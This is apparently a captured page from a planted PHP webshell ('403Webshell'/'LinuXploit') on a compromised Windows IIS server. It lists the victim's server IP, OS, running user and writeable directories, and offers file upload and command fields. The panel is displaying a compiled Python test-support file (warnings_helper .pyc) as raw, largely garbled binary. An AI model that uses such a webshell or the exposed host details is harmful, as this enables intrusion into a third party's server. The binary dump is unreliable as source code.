403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.70
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/support/__pycache__/warnings_helper.cpython-315.opt-1.pyc
R
>lqj�c�\�]PHs]PHs]PHs]PHs]PHsQsQQ]QP-Qkks\OQP-Qk2s\OQ2s	QQ	\
2s\OQ
2s\OP\
P
1Qk2s\OQ2sQQ
ks\OQ2sQsP!)�c���[O29^tt^2[OQ[Q5[O
U2ttPPP2!)%fhP!9h)z3Import *name* while suppressing DeprecationWarning.�ignore)�category)�warnings�catch_warnings�simplefilter�DeprecationWarning�	importlib�
import_module)�names&�1C:\Python315\\Lib\test\support\warnings_helper.py�import_deprecatedr
	s?��	�	 �	 �	"�	"����h�1C�D��&�&�t�,�
#�	"�	"�	"�s�2A�A-	�%A-	�lineno�offsetc
�J�]QHGo[OP	Q59^tt^2o[OQ[
2[
UQQ2PPP2UO[W2]U2UvoUOUO[
2U%c&UO[UO2U2UOUOQ2UOUO 2UdUOUO U2[OP	Q59^tt^2o[OQ[
2UVUV4Q5PPP2UOU,2P!)%fhCK79h)%fhK89h)r)�check_syntax_error��record�alwaysz
<testcase>�exec�error)rr)�test.supportrrrr�
SyntaxWarning�compile�assertEqual�len�assertIsSubclassr�assertRegex�str�message�filename�assertIsNotNoner)�testcase�	statement�errtextrrr�warns�warns&&&$$   r�check_syntax_warningr's*��0�	�	 �	 ��	-�	-�����h�
�6��	�<��0�
.�
����U��Q��.��E�D����d�m�m�]�;�����S����.��8��������5����T�[�[�)�
�����T�[�[�&�1�

�	 �	 ��	-�	-�����g�}�5��8��"(�	9�
.�

�����#�-
.�	-�	-��"
.�	-�s#�)E>�;'F�>F	�F	�F"	�F"	rc#� �[O29^tt^2[OQVQ5Pw�PPP2P!)%fhP!9h3h)z�Decorator to suppress warnings.

Can also be used as a context manager. This is not preferred,
because it makes diffs more noisy and tools like 'git blame' less useful.
But, it's useful for async functions.
r�rr)rr�filterwarningsr)s$$r�ignore_warningsr+-s7���
�	 �	 �	"�	"�����8�M�
�
#�	"�	"�	"�s!�A�A	�
A�	A	�A	�	Ac#� �[Q[Q59^tt^2Pw�PPP2P!)%fhP!9h3h)z�Suppress deprecation warnings related to forking in multi-threaded code.

See gh-135427

Can be used as decorator (preferred) or context manager.
z,.*fork.*may lead to deadlocks in the child.*�rr)r+r��r�*ignore_fork_in_thread_deprecation_warningsr0:s3���
�>�#�
�
�	�	
�
�
�
�s�A�-�
A�>	�>	�	Ac�H`�\sQs]IsnQsQsQs\Q2sQs	Qs
UsP!)�WarningsRecorderznConvenience wrapper for the warnings list returned on
entry to the warnings.catch_warnings() context manager.
c�"�Vm]UmP!)r��	_warnings�_last)�self�
warnings_lists&&r�__init__�WarningsRecorder.__init__Ms��&����
r/c���[UO2UO6�c[UOP*U2!U[O
O7cP![U8QU802g)�z has no attribute )rr5r6�getattrr�WarningMessage�_WARNING_DETAILS�AttributeError)r7�attrs&&r�__getattr__�WarningsRecorder.__getattr__QsT���t�~�~�����+��4�>�>�"�-�t�4�4�
�X�,�,�=�=�
=����t�D�E�Er/c�6�UOUOP!�Nr4�r7s&rr�WarningsRecorder.warningsXs���~�~�d�j�j�k�*�*r/c�<�[UO2UmP!rE)rr5r6rFs&r�reset�WarningsRecorder.reset\s������(��
r/)r6r5)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r9rB�propertyrrI�__static_attributes__�__classdictcell__)�
__classdict__s@rr2r2Is3������F��+��+�)�)r/r2c�j�UOQ2oU%fP[11oUeP	o[V2!)atContext manager to silence warnings.

Accept 2-tuples as positional arguments:
    ("message regexp", WarningCategory)

Optional argument:
 - if 'quiet' is True, it does not fail if a filter catches nothing
    (default True without argument,
     default False if some filters are defined)

Without argument, it defaults to:
    check_warnings(("", Warning), quiet=True)
�quiet)�get�Warning�_filterwarnings)�filters�kwargsrUs*, r�check_warningsr[`s6��
�J�J�w��E����=�"���=��E��7�*�*r/c#� �]QHGo[OP	Q59^tt^2o[OQUUQ5Pw�U%cU2PPP2UOW,2P!)%fhK$9h3h)a�Context manager to check that no warnings are emitted.

This context manager enables a given warning within its scope
and checks that no warnings are emitted even with that warning
enabled.

If force_gc is True, a garbage collection is attempted before checking
for warnings. This may help to catch warnings emitted when objects
are deleted, such as ResourceWarning.

Other keyword arguments are passed to warnings.filterwarnings().
)�
gc_collectrrr-)rr]rrr*r)r"rr�force_gcr]r%s&&&&  r�check_no_warningsr_xs_���(�	�	 �	 ��	-�	-������(/�)1�	3�	���L�

.�
�����#�
.�	-�s(�'B�&A3�A3�B�3B	�<B	�>Bc#� �[U[P	Q59^tt^2Pw�PPP2P!)%fhP!9h3h)aContext manager to check that no ResourceWarning is emitted.

Usage:

    with check_no_resource_warning(self):
        f = open(...)
        ...
        del f

You must remove the object which may emit ResourceWarning before
the end of the context manager.
)rr^)r_�ResourceWarning)r"s&r�check_no_resource_warningrb�s(���
�8�o��	M�	M�
�
N�	M�	M�	M�s�A�.�
A�?	�?	�	Ac
#� �[O]2oUOOQ2oU%cUO	2[O
Q*oUO
P	Q59^tt^2oUOQ2[U2w�PPP2[W2o,oSFD�vq�P
o
UQ*FDwoUOo[OU[U2[O2%fJF[UO U	2%fJdP	o
UO#U2Jy	U
%cJ�U%cJ�UO%V�O&12J�	U%c[)QU]**2gU%c[)QU]**2gP!)%fhCK%9h3h)z�Catch the warnings, then check if all the expected
warnings have been raised and re-raise unexpected warnings.
If 'quiet' is True, only re-raise the unexpected warnings.
�__warningregistry__rrr�NNNzunhandled warning %sz)filter (%r, %s) did not catch any warning)�sys�	_getframe�	f_globalsrV�clear�modulesrrr2�listr�re�matchr�I�
issubclass�	__class__�remove�appendrK�AssertionError)rYrU�frame�registry�wmod�w�reraise�missing�msg�cat�seen�warnings&&          rrXrX�s[���
�M�M�!��E����"�"�#8�9�H�������;�;�z�"�D�	
�	�	�D�	�	)�	)�Q����(�#��q�!�!�
*�
�1�g�G��G����������A��i�i�G�����c�'�l�B�D�D�1�1��7�,�,�c�2�2������q�!�
��t�E�E��N�N�C���.�/����3�g�a�j�@�A�A���H�$�Q�Z�(�)�	)��+
*�	)�	)�sN�:G�AG�> F:�A*G�
G�+G�G�'G�> G�G�:G	�G	�	Gc#� �[OQ*oPw�U[OQ$P!S[OQ$h9h3h)re)rrY)�old_filterss r�save_restore_warnings_filtersr��s=����"�"�1�%�K�*�
�)�������k������s�A�6�A�A�Ac�B�[OQ[]Q5P!)z�This is used in test_support test to ensure support.ignore_deprecations_from() works as expected. You should not be seeing this.)�
stacklevel)rr&rr.r/r�_warn_about_deprecationr��s���M�M�	*�	��r/)�)F)�
contextlibr	rlrfrr
r'�contextmanagerr+r0�objectr2r[rWr_rbrXr�r�r.r/r�<module>r�s�����	�
��-�$�#$�$�-1�$�:���	��	��	�������)�v�)�.���+��+�.���(*�W�u�$��$�0������"%)�P���*��*�r/

Youez - 2016 - github.com/yon3zu
LinuXploit